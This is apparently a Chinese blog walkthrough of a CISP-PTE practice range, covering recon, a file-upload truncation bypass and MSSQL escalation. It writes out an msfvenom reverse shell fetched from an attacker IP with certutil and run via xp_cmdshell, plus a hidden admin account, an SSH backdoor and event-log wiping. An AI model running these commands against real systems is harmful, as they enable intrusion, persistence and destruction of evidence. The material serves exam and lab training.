CISP-PTE实战演练:从信息收集到权限提升的靶场通关实录

张开发
2026/4/21 19:03:47 15 分钟阅读

分享文章

CISP-PTE实战演练:从信息收集到权限提升的靶场通关实录
1. 靶场渗透实战入门从零开始的信息收集第一次接触CISP-PTE靶场训练时我完全不知道从哪里下手。后来才发现信息收集就像侦探破案前的现场勘查决定了后续所有行动的成败。以这次文件上传系统靶场为例我通常会从三个维度展开侦查首先是端口探测。很多新手喜欢直接用nmap全端口扫描这其实是个误区。实战中我更喜欢先用gorailgun-normal这类轻量级工具快速定位关键端口。比如这次扫描发现27689和1433端口开放前者可能是Web服务后者则是SQL Server数据库的默认端口。这里有个小技巧当目标存在防火墙时建议使用nmap -sS -T4 -p- --max-retries 1这样的参数组合既能提高速度又能降低被拦截概率。其次是Web应用指纹识别。访问27689端口后发现是个ASP.NET开发的文件上传系统。通过浏览器的开发者工具F12可以查看响应头中的X-Powered-By字段确认服务器运行的是IIS 7.5。这个信息很关键因为不同版本的IIS对文件上传的处理机制可能有差异。最后是目录爆破。我用的是dirsearch工具参数设置特别重要python3 dirsearch.py -u http://target:27689 -e aspx,config,bak -x 403,404 -t 50-e参数指定优先扫描的扩展名-x排除无意义的响应码。果然发现了一个名为backup.zip的配置文件里面藏着数据库连接字符串——这就像在敌人指挥部找到了密码本。2. Web渗透的破局点文件上传漏洞的巧妙利用拿到数据库凭证后很多初学者会直接尝试SQL注入但这次靶场设计更考验对业务逻辑的理解。登录后台发现文件上传功能时我经历了三次失败尝试第一次直接上传.aspx马被系统拒绝。第二次尝试修改Content-Type为image/jpeg仍然失败。直到注意到系统提示文件名过长会被截取前32位字符才恍然大悟这是个文件名截断漏洞。这里涉及到ASP.NET的特殊机制当文件名超过32字节时系统会自动截断。而.aspx.jpg这样的文件名如果前32字节正好在.aspx处截断就会保留原始扩展名。具体操作分四步计算文件名长度.aspx占5字节-占1字节时间戳18字节如202403151245301234剩余8字节用于自定义构造畸形文件名12345678.aspx.jpg8541732用Burp Suite拦截上传请求将文件名改为12345678.aspx....................................................................................jpg上传后系统存储为12345678.aspx实测时发现系统对点号有过滤最终改用下划线构造66666666.aspx____jpg才成功。这个案例说明漏洞利用往往需要结合具体环境调整策略。3. 数据库提权的双路径实战拿到Webshell后发现权限受限这时候数据库配置就派上用场了。通过Navicat连接SQL Server时有两点需要注意连接字符串中的Data Source192.168.1.1,1433要改为目标IP和端口如果遇到SSL错误需要在高级设置里取消加密连接使用SA账户登录后我尝试了两种提权方法方法一利用xp_cmdshell执行系统命令-- 先启用xp_cmdshell EXEC sp_configure show advanced options, 1 RECONFIGURE EXEC sp_configure xp_cmdshell, 1 RECONFIGURE -- 查看桌面文件 EXEC xp_cmdshell dir C:\Users\Administrator\Desktop\ -- 读取key文件 EXEC xp_cmdshell type C:\Users\Administrator\Desktop\key.txt方法二MSF自动化提权# 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f exe update.exe # 通过数据库上传 EXEC xp_cmdshell certutil -urlcache -split -f http://192.168.1.100/update.exe C:\Windows\Temp\update.exe # 执行木马 EXEC xp_cmdshell C:\Windows\Temp\update.exe在MSF中设置监听时务必使用set AutoRunScript migrate -f参数这样会话建立后会自动迁移到稳定进程。我遇到过多次会话突然断开的情况后来发现是因为没有迁移到explorer.exe这样的持久化进程。4. 权限维持的进阶技巧拿到系统权限不是终点如何保持访问才是关键。在Windows靶机中我通常会做三件事创建隐藏账户net user sysbackup Pa$$w0rd /add net localgroup administrators sysbackup /add reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v sysbackup /t REG_DWORD /d 0 /f安装SSH后门# 安装OpenSSH Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 # 修改默认shell为cmd New-ItemProperty -Path HKLM:\SOFTWARE\OpenSSH -Name DefaultShell -Value C:\Windows\System32\cmd.exe -PropertyType String -Force日志清理# 清除最近执行命令记录 Remove-Item (Get-PSReadlineOption).HistorySavePath -Force # 清除事件日志 wevtutil el | Foreach-Object {wevtutil cl $_}这些操作要注意时序问题。比如创建账户后要等待域控同步如果是域环境SSH服务安装后需要重启才能生效。有次比赛就因为在重启前提交flag导致服务没生效丢了分数。5. 靶场训练的经验复盘做完整个渗透流程后我总结出三个容易踩坑的点第一是时间管理。实际考试中Web渗透、数据库提权、权限维持每个环节都要控制时间。建议按照6:3:1的比例分配60%时间用于信息收集和漏洞挖掘30%用于漏洞利用10%用于权限维持和清理痕迹。第二是工具准备。一定要提前准备好工具链我习惯用Kali Linux定制以下工具包信息收集nmap、masscan、gowitnessWeb渗透Burp Suite、sqlmap、dirsearch漏洞利用MSF、Impacket、PowerSploit后渗透Cobalt Strike、Mimikatz第三是文档记录。养成随时记录操作的习惯可以用CherryTree这样的工具结构化保存1. 信息收集 - 开放端口27689(IIS)、1433(MSSQL) - 网站架构ASP.NET IIS 7.5 2. 漏洞利用 - 文件上传截断66666666.aspx.jpg - 数据库凭证sa/Admin123 3. 提权路径 - xp_cmdshell执行命令 - MSF生成payload最后提醒一点真实环境和靶场最大区别在于防护措施。在企业内网渗透时可能遇到EDR、WAF、流量审计等多重防护这时候就需要更隐蔽的技术手段比如使用C#编写的内存马或者利用合法的管理工具如PsExec进行横向移动。

更多文章